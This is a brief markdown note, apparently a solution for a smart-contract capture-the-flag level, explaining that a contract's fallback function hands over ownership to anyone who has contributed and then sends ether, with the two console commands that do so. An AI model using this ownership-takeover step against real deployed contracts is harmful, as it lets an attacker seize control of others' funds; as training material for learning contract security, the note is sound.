Skip to content

Latest commit

 

History

History
6 lines (5 loc) · 197 Bytes

1-fallback.md

File metadata and controls

6 lines (5 loc) · 197 Bytes

the fallback method will change ownership if sent some ether (and has previously contributed)

contract.contribute({ value: 1 });
sendTransaction({ from: player, to: instance, value: 1 });